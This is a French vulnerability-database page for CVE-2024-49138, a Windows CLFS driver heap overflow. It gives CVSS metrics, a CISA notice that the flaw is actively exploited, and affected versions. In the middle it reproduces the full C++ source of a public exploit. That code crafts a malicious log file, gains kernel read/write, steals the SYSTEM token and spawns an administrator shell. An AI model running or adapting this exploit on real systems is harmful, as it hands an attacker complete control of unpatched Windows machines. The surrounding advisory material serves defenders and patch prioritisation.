CVE-2024-49138 : Détail

CVE-2024-49138

7.8
/
Haute
88.17%V4
Local
2024-12-10
17h49 +00:00
2025-04-24
18h26 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Windows Common Log File System Driver Elevation of Privilege Vulnerability

Windows Common Log File System Driver Elevation of Privilege Vulnerability

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-122 Heap-based Buffer Overflow
A heap overflow condition is a buffer overflow, where the buffer that can be overwritten is allocated in the heap portion of memory, generally meaning that the buffer was allocated using a routine such as malloc().
CWE Other No informations.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.1 7.8 HIGH CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H/E:U/RL:O/RC:C

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Exploit Code Maturity

This metric measures the likelihood of the vulnerability being attacked, and is typically based on the current state of exploit techniques, exploit code availability, or active, “in-the-wild” exploitation.

Unproven

No exploit code is available, or an exploit is theoretical.

Remediation Level

The Remediation Level of a vulnerability is an important factor for prioritization.

Official fix

A complete vendor solution is available. Either the vendor has issued an official patch, or an upgrade is available.

Report Confidence

This metric measures the degree of confidence in the existence of the vulnerability and the credibility of the known technical details.

Confirmed

Detailed reports exist, or functional reproduction is possible (functional exploits may provide this). Source code is available to independently verify the assertions of the research, or the author or vendor of the affected code has confirmed the presence of the vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

V3.1 7.8 HIGH CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

secure@microsoft.com

CISA KEV (Vulnérabilités Exploitées Connues)

Nom de la vulnérabilité : Microsoft Windows Common Log File System (CLFS) Driver Heap-Based Buffer Overflow Vulnerability

Action requise : Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.

Connu pour être utilisé dans des campagnes de ransomware : Unknown

Ajouter le : 2024-12-09 23h00 +00:00

Action attendue : 2024-12-30 23h00 +00:00

Informations importantes
Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 52270

Date de publication : 2025-04-21 22h00 +00:00
Auteur : Milad karimi
EDB Vérifié : No

# Exploit Title: Microsoft Windows 11 23h2 - CLFS.sys Elevation of Privilege # Date: 2025-04-16 # Exploit Author: Milad Karimi (Ex3ptionaL) # Contact: miladgrayhat@gmail.com # Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL # MiRROR-H: https://mirror-h.org/search/hacker/49626/ # CVE: CVE-2024-49138 #include <iostream> #include <Windows.h> #include <clfsw32.h> #include <format> #include <psapi.h> #include <iostream> #include <fstream> #include <iomanip> #include <vector> #include <cstdint> #include "resource.h" #define CONTROL_BLOCK_SIZE 0x400 #define OFFSET_EXTENDED_STATE 0x84 #define OFFSET_IEXTENDED_BLOCK 0x88 #define OFFSET_IFLUSHB_BLOCK 0x8c #define _CRT_SECURE_NO_WARNINGS 1 //dt nt!_KTHREAD current //+ 0x230 UserAffinityPrimaryGroup : 0 //+ 0x232 PreviousMode : 1 '' //+ 0x233 BasePriority : 15 '' //+ 0x234 PriorityDecrement : 0 '' //+ 0x234 ForegroundBoost : 0y0000 //+ 0x234 UnusualBoost : 0y0000 //+ 0x235 Preempted : 0 '' //+ 0x236 AdjustReason : 0 '' //+ 0x237 AdjustIncrement : 0 '' //+ 0x238 AffinityVersion : 0x14 //+ 0x240 Affinity : 0xffffc201`419e1a58 _KAFFINITY_EX //WINDBG > dq ffffc201419e1080 + 0x232 L1 //ffffc201`419e12b2 00140000`00000f01 //WINDBG > ? nt!PoFxProcessorNotification - nt //Evaluate expression : 3861424 = 00000000`003aebb0 //WINDBG > ? nt!DbgkpTriageDumpRestoreState - nt //Evaluate expression : 8324768 = 00000000`007f06a0 //WINDBG > ? nt!PsActiveProcessHead - nt //Evaluate expression : 12812128 = 00000000`00c37f60 #define POFXPROCESSORNOTIFICATION_OFFSET 0x3aebb0 #define DBGKPTRIAGEDUMPRESTORESTATE_OFFSET 0x7f06a0 #define PSACTIVEPROCESSHEAD_OFFSET 0xc37f60 #define ACTIVEPROCESSLINKS_OFFSET 0x448 #define UNIQUEPROCESSID_OFFSET 0x440 #define TOKEN_OFFSET 0x4b8 #define TOKENPRIVILEGESPRESENT_OFFSET 0x40 #define TOKENPRIVILEGSENABLED_OFFSET 0x48 #pragma comment(lib, "Clfsw32.lib") LPVOID GetKernelBaseAddress() { LPVOID drivers[1024]; // Array to hold driver addresses DWORD cbNeeded; // Bytes returned by EnumDeviceDrivers int driverCount; TCHAR driverName[MAX_PATH]; // Enumerate loaded device drivers if (!EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) { printf("Failed to enumerate device drivers. Error: %lu\n", GetLastError()); return (LPVOID)0x0; } driverCount = cbNeeded / sizeof(drivers[0]); if (driverCount == 0) { printf("No device drivers found.\n"); return (LPVOID)0x0; } // The first driver is usually the Windows kernel LPVOID kernelBaseAddress = drivers[0]; // Retrieve the name of the kernel driver if (GetDeviceDriverBaseName(kernelBaseAddress, driverName, MAX_PATH)) { printf("Kernel Base Address: 0x%p\n", kernelBaseAddress); printf("Kernel Name: %ls\n", driverName); } else { printf("Failed to retrieve kernel name. Error: %lu\n", GetLastError()); } return kernelBaseAddress; } #define SystemHandleInformation 0x10 #define SystemHandleInformationSize 1024 * 1024 * 2 using fNtQuerySystemInformation = NTSTATUS(WINAPI*)( ULONG SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength ); // Definitions for NTSTATUS and system calls using fNtReadVirtualMemory = NTSTATUS(WINAPI*)( HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG BufferSize, PULONG NumberOfBytesRead); using fNtWriteVirtualMemory = NTSTATUS(WINAPI*)( HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG BufferSize, PULONG NumberOfBytesWritten); fNtReadVirtualMemory NtReadVirtualMemory = NULL; fNtWriteVirtualMemory NtWriteVirtualMemory = NULL; // handle information typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO { USHORT UniqueProcessId; USHORT CreatorBackTraceIndex; UCHAR ObjectTypeIndex; UCHAR HandleAttributes; USHORT HandleValue; PVOID Object; ULONG GrantedAccess; } SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO; // handle table information typedef struct _SYSTEM_HANDLE_INFORMATION { ULONG NumberOfHandles; SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1]; } SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION; PVOID GetKAddrFromHandle(HANDLE handle) { ULONG returnLength = 0; fNtQuerySystemInformation NtQuerySystemInformation = (fNtQuerySystemInformation)GetProcAddress(GetModuleHandle(L"ntdll"), "NtQuerySystemInformation"); PSYSTEM_HANDLE_INFORMATION handleTableInformation = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, SystemHandleInformationSize); NtQuerySystemInformation(SystemHandleInformation, handleTableInformation, SystemHandleInformationSize, &returnLength); ULONG numberOfHandles = handleTableInformation->NumberOfHandles; HeapFree(GetProcessHeap(), 0, handleTableInformation); handleTableInformation = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, numberOfHandles * sizeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO) + sizeof(SYSTEM_HANDLE_INFORMATION) + 0x100); NtQuerySystemInformation(SystemHandleInformation, handleTableInformation, numberOfHandles * sizeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO) + sizeof(SYSTEM_HANDLE_INFORMATION) + 0x100, &returnLength); for (int i = 0; i < handleTableInformation->NumberOfHandles; i++) { SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = (SYSTEM_HANDLE_TABLE_ENTRY_INFO)handleTableInformation->Handles[i]; if (handleInfo.HandleValue == (USHORT)handle && handleInfo.UniqueProcessId == GetCurrentProcessId()) { return handleInfo.Object; } } } LPVOID g_ntbase = 0; LPVOID address_to_write; //Final byte = kthread.previousMode = 0 DWORD64 value_to_write = 0x0014000000000f00; //BOOL SwapTokens() { // DWORD64 eprocess = 0; // ULONG bytesRead = 0; // DWORD64 systemtoken = 0; // DWORD64 currenttoken = 0; // DWORD pid = 0; // DWORD64 privileges = 0x0000001ff2ffffbc; // // NtReadVirtualMemory((HANDLE)-1, (LPVOID)((DWORD64)g_ntbase + PSACTIVEPROCESSHEAD_OFFSET), &eprocess, sizeof(eprocess), NULL); // eprocess = eprocess - ACTIVEPROCESSLINKS_OFFSET; // // NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess + TOKEN_OFFSET), &systemtoken, sizeof(systemtoken), NULL); // // // while (1) { // NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess + ACTIVEPROCESSLINKS_OFFSET), &eprocess, sizeof(eprocess), NULL); // // eprocess -= ACTIVEPROCESSLINKS_OFFSET; // // NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess + UNIQUEPROCESSID_OFFSET), &pid, sizeof(pid), NULL); // std::cout << "pid = " << pid << std::endl; // // if (pid == GetCurrentProcessId()) // break; // } // // NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess + TOKEN_OFFSET), &currenttoken, sizeof(currenttoken), NULL); // // // // //clears refcnt // currenttoken = currenttoken & 0xfffffffffffffff0; // // printf("performing NtWriteVirtualMemory..\n"); // // getchar(); // // //NtWriteVirtualMemory((HANDLE)-1, (LPVOID)(currenttoken + TOKENPRIVILEGESPRESENT_OFFSET), &privileges, 0x8, NULL); // //NtWriteVirtualMemory((HANDLE)-1, (LPVOID)(currenttoken + TOKENPRIVILEGSENABLED_OFFSET), &privileges, 0x8, NULL); // // // NtWriteVirtualMemory((HANDLE)-1, (LPVOID)(eprocess + TOKEN_OFFSET), &systemtoken, 0x8, NULL); // // return TRUE; //} int main() { HMODULE hModule; HRSRC hResource; errno_t err; HGLOBAL hLoadedResource; LPVOID pResourceData; DWORD resourceSize; FILE* file; DWORD sectorsPerCluster; DWORD bytesPerSector; DWORD numberOfFreeClusters; DWORD totalNumberOfClusters; const char* rootPath = "C:\\"; PVOID marshallingArea = NULL; ULONGLONG pcbContainer = 0; std::wstring logFileName = L"LOG:"; std::wstring inputName = L"C:\\temp\\testlog\\mylogdddd.blf"; logFileName += inputName; DWORD64 buf = 0; ULONG bytesRead = 0; LPVOID PreviousModeAddr = NULL; DWORD threadId = GetCurrentThreadId(); // Get the current thread ID DWORD64 eprocess = 0; DWORD64 systemtoken = 0; DWORD64 currenttoken = 0; DWORD64 pid = 0; BYTE PreviousMode = 0x1; DWORD64 privileges = 0x0000001ff2ffffbc; const char* directoryName1 = "C:\\temp"; const char* directoryName2 = "C:\\temp\\testlog"; HANDLE logHndl = INVALID_HANDLE_VALUE; ULONGLONG cbContainer = (ULONGLONG)0x80000; //Creating directories with the baselog and container file if (CreateDirectoryA(directoryName1, NULL)) { printf("Directory created successfully: %s\n", directoryName1); } else { DWORD error = GetLastError(); if (error == ERROR_ALREADY_EXISTS) { printf("The directory already exists: %s\n", directoryName1); } else { printf("Failed to create the directory. Error code: %lu\n", error); return 0; } } if (CreateDirectoryA(directoryName2, NULL)) { printf("Directory created successfully: %s\n", directoryName2); } else { DWORD error = GetLastError(); if (error == ERROR_ALREADY_EXISTS) { printf("The directory already exists: %s\n", directoryName2); } else { printf("Failed to create the directory. Error code: %lu\n", error); return 0; } } //creating BLF logHndl = CreateLogFile(logFileName.c_str(), GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, 0); if (logHndl == INVALID_HANDLE_VALUE) { printf("CreateLogFile failed with error %d\n", GetLastError()); return 0; } else { printf("file opened successfully\n"); } //creating and adding container to BLF if (!AddLogContainer(logHndl, &cbContainer, (LPWSTR)L"C:\\temp\\testlog\\container1", NULL)) { printf("AddLogContainer failed with error %d\n", GetLastError()); } else { printf("AddLogContainer successful\n"); } //closing BLF CloseHandle(logHndl); // Initialize variables hModule = GetModuleHandle(NULL); if (!hModule) { printf("Failed to get module handle.\n"); return 1; } // Find the resource in the executable hResource = FindResource(hModule, MAKEINTRESOURCE(IDR_RCDATA1), RT_RCDATA); if (!hResource) { printf("Failed to find resource. Error: %lu\n", GetLastError()); return 1; } printf("hResource = 0x%p\n", hResource); // Load the resource into memory hLoadedResource = LoadResource(hModule, hResource); if (!hLoadedResource) { printf("Failed to load resource. Error: %lu\n", GetLastError()); return 1; } printf("hResource = 0x%p\n", hLoadedResource); // Lock the resource to get a pointer to its data pResourceData = LockResource(hLoadedResource); if (!pResourceData) { printf("Failed to lock resource. Error: %lu\n", GetLastError()); return 1; } printf("pResourceData = 0x%p\n", pResourceData); // Get the size of the resource resourceSize = SizeofResource(hModule, hResource); if (resourceSize == 0) { printf("Failed to get resource size. Error: %lu\n", GetLastError()); return 1; } // At this point, pResourceData points to the binary data, and resourceSize contains its size printf("Resource size: %lu bytes\n", resourceSize); // Example: Write the resource data to a file err = fopen_s(&file, "C:\\temp\\testlog\\mylogdddd.blf.blf", "wb"); if (err == 0 && file) { fwrite(pResourceData, 1, resourceSize, file); fclose(file); printf("Resource written to output.bin successfully.\n"); } else { printf("Failed to open output file. Error code: %d\n", err); } //preparing data structures in memory g_ntbase = GetKernelBaseAddress(); NtReadVirtualMemory = (fNtReadVirtualMemory)GetProcAddress(GetModuleHandle(L"ntdll"), "NtReadVirtualMemory"); NtWriteVirtualMemory = (fNtWriteVirtualMemory)GetProcAddress(GetModuleHandle(L"ntdll"), "NtWriteVirtualMemory"); if (!NtReadVirtualMemory || !NtWriteVirtualMemory) { printf("Failed to get addresses for NtReadVirtualMemory or NtWriteVirtualMemory\n"); return -1; } printf("NtReadVirtualMemory = 0x%p\n", (DWORD64)NtReadVirtualMemory); printf("NtWriteVirtualMemory = 0x%p\n", (DWORD64)NtWriteVirtualMemory); // Open a real handle to the current thread HANDLE threadHandle = OpenThread(THREAD_ALL_ACCESS, FALSE, threadId); if (threadHandle == NULL) { printf("Failed to get real handle to the current thread. Error: %lu\n", GetLastError()); return 1; } //0x232 = offset to _KTHREAD.PreviousMode address_to_write = (LPVOID)((DWORD64)(GetKAddrFromHandle(threadHandle)) + 0x232); auto pcclfscontainer = VirtualAlloc((LPVOID)0x2100000, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); memset(pcclfscontainer, 0, 0x1000); auto vtable = (DWORD64)pcclfscontainer + 0x100; auto rcx = pcclfscontainer; *(PDWORD64)((PCHAR)rcx + 0x40) = (DWORD64)pcclfscontainer + 0x200; *(PDWORD64)((PCHAR)pcclfscontainer + 0x200 + 0x68) = (DWORD64)g_ntbase + DBGKPTRIAGEDUMPRESTORESTATE_OFFSET; //arg1 of DBGKPTRIAGEDUMPRESTORESTATE *(PDWORD64)((PCHAR)rcx + 0x48) = (DWORD64)pcclfscontainer + 0x300; auto arg_DBGKPTRIAGEDUMPRESTORESTATE = (DWORD64)pcclfscontainer + 0x300; //address of arbitrary write of DBGKPTRIAGEDUMPRESTORESTATE. remember It writes at offset 0x2078 of where *((PDWORD64)(arg_DBGKPTRIAGEDUMPRESTORESTATE)) = (DWORD64)address_to_write - 0x2078; //value of arbitrary write of DBGKPTRIAGEDUMPRESTORESTATE *((PDWORD64)((PCHAR)arg_DBGKPTRIAGEDUMPRESTORESTATE + 0x10)) = 0x0014000000000f00; ((PDWORD64)vtable)[1] = (DWORD64)g_ntbase + POFXPROCESSORNOTIFICATION_OFFSET; *(PDWORD64)pcclfscontainer = (DWORD64)vtable; printf("pcclfscontainer = 0x%p\n", (DWORD64)pcclfscontainer); printf("address_to_write = 0x%p\n", (DWORD64)address_to_write); HANDLE processHandle = GetCurrentProcess(); // Get the current process handle // Set the process priority to HIGH_PRIORITY_CLASS if (SetPriorityClass(processHandle, REALTIME_PRIORITY_CLASS)) { printf("Process priority set to REALTIME_PRIORITY_CLASS.\n"); } else { DWORD error = GetLastError(); printf("Failed to set process priority. Error code: %lu\n", error); return 1; } threadHandle = GetCurrentThread(); if (SetThreadPriority(threadHandle, THREAD_PRIORITY_TIME_CRITICAL)) { printf("Thread priority set to the highest level: TIME_CRITICAL.\n"); } else { DWORD error = GetLastError(); printf("Failed to set thread priority. Error code: %lu\n", error); return 1; } printf("triggering vuln..."); logHndl = CreateLogFile(logFileName.c_str(), GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, 0); if (logHndl == INVALID_HANDLE_VALUE) { printf("CreateLogFile failed with error %d\n", GetLastError()); } else { printf("file opened successfully\n"); } // Set the process priority to HIGH_PRIORITY_CLASS if (SetPriorityClass(processHandle, NORMAL_PRIORITY_CLASS)) { printf("Process priority set to NORMAL_PRIORITY_CLASS.\n"); } else { DWORD error = GetLastError(); printf("Failed to set process priority. Error code: %lu\n", error); return 1; } if (SetThreadPriority(threadHandle, THREAD_PRIORITY_NORMAL)) { printf("Thread priority set to the highest level: THREAD_PRIORITY_NORMAL.\n"); } else { DWORD error = GetLastError(); printf("Failed to set thread priority. Error code: %lu\n", error); return 1; } printf("vuln triggered\n"); printf("reading base of ntoskrnl to check we have arbitrary read/write\n"); NtReadVirtualMemory((HANDLE)-1, g_ntbase, &buf, sizeof(buf), NULL); printf("buf = 0x%p\n", (DWORD64)buf); printf("swapping tokens...\n"); NtReadVirtualMemory((HANDLE)-1, (LPVOID)((DWORD64)g_ntbase + PSACTIVEPROCESSHEAD_OFFSET), &eprocess, sizeof(eprocess), NULL); eprocess = eprocess - ACTIVEPROCESSLINKS_OFFSET; NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess + TOKEN_OFFSET), &systemtoken, sizeof(systemtoken), NULL); while (1) { NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess + ACTIVEPROCESSLINKS_OFFSET), &eprocess, sizeof(eprocess), NULL); eprocess -= ACTIVEPROCESSLINKS_OFFSET; NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess + UNIQUEPROCESSID_OFFSET), &pid, sizeof(pid), NULL); if (pid == (DWORD64)GetCurrentProcessId()) break; } printf("current token address = 0x%p\n", eprocess + TOKEN_OFFSET); printf("systemtoken = 0x%p\n", systemtoken); printf("Overwriting process token..\n"); NtWriteVirtualMemory((HANDLE)-1, (LPVOID)(eprocess + TOKEN_OFFSET), &systemtoken, sizeof(systemtoken), NULL); printf("token swapped. Restoring PreviousMode and spawning system shell...\n"); PreviousModeAddr = address_to_write; PreviousMode = 0x1; NtWriteVirtualMemory((HANDLE)-1, PreviousModeAddr, &PreviousMode, sizeof(PreviousMode), NULL); system("cmd.exe"); return 0; }

Products Mentioned

Configuraton 0

Microsoft>>Windows_10_1507 >> Version To (excluding) 10.0.10240.20857

Microsoft>>Windows_10_1507 >> Version To (excluding) 10.0.10240.20857

Microsoft>>Windows_10_1607 >> Version To (excluding) 10.0.14393.7606

Microsoft>>Windows_10_1607 >> Version To (excluding) 10.0.14393.7606

Microsoft>>Windows_10_1809 >> Version To (excluding) 10.0.17763.6659

Microsoft>>Windows_10_1809 >> Version To (excluding) 10.0.17763.6659

Microsoft>>Windows_10_21h2 >> Version To (excluding) 10.0.19044.5247

Microsoft>>Windows_10_21h2 >> Version To (excluding) 10.0.19044.5247

Microsoft>>Windows_10_21h2 >> Version To (excluding) 10.0.19044.5247

Microsoft>>Windows_10_22h2 >> Version To (excluding) 10.0.19045.5247

Microsoft>>Windows_10_22h2 >> Version To (excluding) 10.0.19045.5247

Microsoft>>Windows_10_22h2 >> Version To (excluding) 10.0.19045.5247

Microsoft>>Windows_11_22h2 >> Version To (excluding) 10.0.22621.4602

Microsoft>>Windows_11_22h2 >> Version To (excluding) 10.0.22621.4602

Microsoft>>Windows_11_23h2 >> Version To (excluding) 10.0.22631.4602

Microsoft>>Windows_11_23h2 >> Version To (excluding) 10.0.22631.4602

Microsoft>>Windows_11_24h2 >> Version To (excluding) 10.0.26100.2605

Microsoft>>Windows_11_24h2 >> Version To (excluding) 10.0.26100.2605

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2008 >> Version sp2

Microsoft>>Windows_server_2012 >> Version -

Microsoft>>Windows_server_2012 >> Version r2

Microsoft>>Windows_server_2016 >> Version To (excluding) 10.0.14393.7606

Microsoft>>Windows_server_2019 >> Version To (excluding) 10.0.17763.6659

Microsoft>>Windows_server_2022 >> Version To (excluding) 10.0.20348.2966

Microsoft>>Windows_server_2022_23h2 >> Version To (excluding) 10.0.25398.1308

Microsoft>>Windows_server_2025 >> Version To (excluding) 10.0.26100.2605

Références